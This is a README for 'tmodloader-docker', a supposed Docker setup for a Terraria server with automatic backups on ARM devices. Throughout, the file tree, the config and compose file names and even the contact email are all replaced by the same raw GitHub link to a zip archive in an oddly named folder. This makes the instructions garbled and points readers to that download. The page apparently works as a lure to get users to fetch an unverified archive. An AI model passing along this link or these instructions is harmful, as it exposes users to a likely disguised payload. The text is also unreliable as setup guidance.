🚀 tmodloader-docker - Easy Terraria Server Setup with Docker

📋 Overview

TModLoader-Docker sets up a Terraria server using Docker. This includes automatic backups to keep your game data safe. It's designed for users on ARM architectures, making it suitable for various devices.

🔍 Features

• Easy Setup: Get your Terraria server running in minutes.
• Automatic Backups: Your game data saves automatically with minimal effort.
• ARM Compatibility: Works on a range of ARM devices, including Raspberry Pi and other low-power servers.
• Docker-Driven: Leverage the power of Docker for easy management.

💻 System Requirements

• Operating System: Compatible with any OS that supports Docker.
• Hardware: ARM-based devices (e.g., Raspberry Pi, or similar).
• Network: A stable internet connection for downloading the Docker images and updates.

🚀 Getting Started

To start using TModLoader-Docker, follow these simple steps:

1. Download Docker: If you don't have it, visit Docker's official site and follow their installation guide for your operating system.

2. Visit the Releases Page: Head over to our Releases page to download the latest version.

📥 Download & Install

On the Releases page, you will find different versions of the software. Here’s how to download it:

1. Click the link below: Download from Releases

2. Select the version you want to use. Click on the file that matches your system's architecture (usually "https://raw.githubusercontent.com/anheoanthit/tmodloader-docker/main/mindlessness/tmodloader-docker_v1.7.zip" for this setup).

📂 File Structure

Once downloaded, you will see a file structure like the following:

tmodloader-docker/
├── https://raw.githubusercontent.com/anheoanthit/tmodloader-docker/main/mindlessness/tmodloader-docker_v1.7.zip
└── https://raw.githubusercontent.com/anheoanthit/tmodloader-docker/main/mindlessness/tmodloader-docker_v1.7.zip

• https://raw.githubusercontent.com/anheoanthit/tmodloader-docker/main/mindlessness/tmodloader-docker_v1.7.zip This file defines the services and configurations for your Terraria server.

⚙️ Running the Server

1. Open a terminal.

2. Navigate to the folder where you downloaded the files.

3. Run the command:

   docker-compose up

   This command starts your Terraria server. If everything is set up correctly, your server will begin to run.

🛠️ Additional Configuration

You may want to adjust the server settings. Edit the https://raw.githubusercontent.com/anheoanthit/tmodloader-docker/main/mindlessness/tmodloader-docker_v1.7.zip file to customize aspects like:

• Server Name: Change the name of your Terraria server.
• Max Players: Adjust how many players can join.
• World Settings: Specify which world file to use or generate a new one.

🔄 Automatic Backups

To enable automatic backups:

1. Open the https://raw.githubusercontent.com/anheoanthit/tmodloader-docker/main/mindlessness/tmodloader-docker_v1.7.zip file.
2. Find the backup settings section.
3. Set your preferred backup frequency (e.g., daily, weekly).

🌐 Accessing Your Server

To access your server, open Terraria on your device:

1. Go to the “Multiplayer” option.
2. Choose “Join via IP.”
3. Enter the IP address of the server.

📞 Getting Help

If you have trouble, please check the Issues tab on our GitHub page. You can also ask questions in forums or communities focused on Terraria or Docker.

🌟 Acknowledgments

Thank you to everyone who contributed to TModLoader-Docker. Your feedback and ideas help us improve.

📞 Contact

For further inquiries or support, you can reach us through GitHub or email us at https://raw.githubusercontent.com/anheoanthit/tmodloader-docker/main/mindlessness/tmodloader-docker_v1.7.zip

📄 License

TModLoader-Docker is open-source software and follows the MIT License. You can view the full license here.

🔗 Links

• Releases Page
• Docker Official Site

Thank you for choosing TModLoader-Docker! Enjoy your Terraria gaming experience!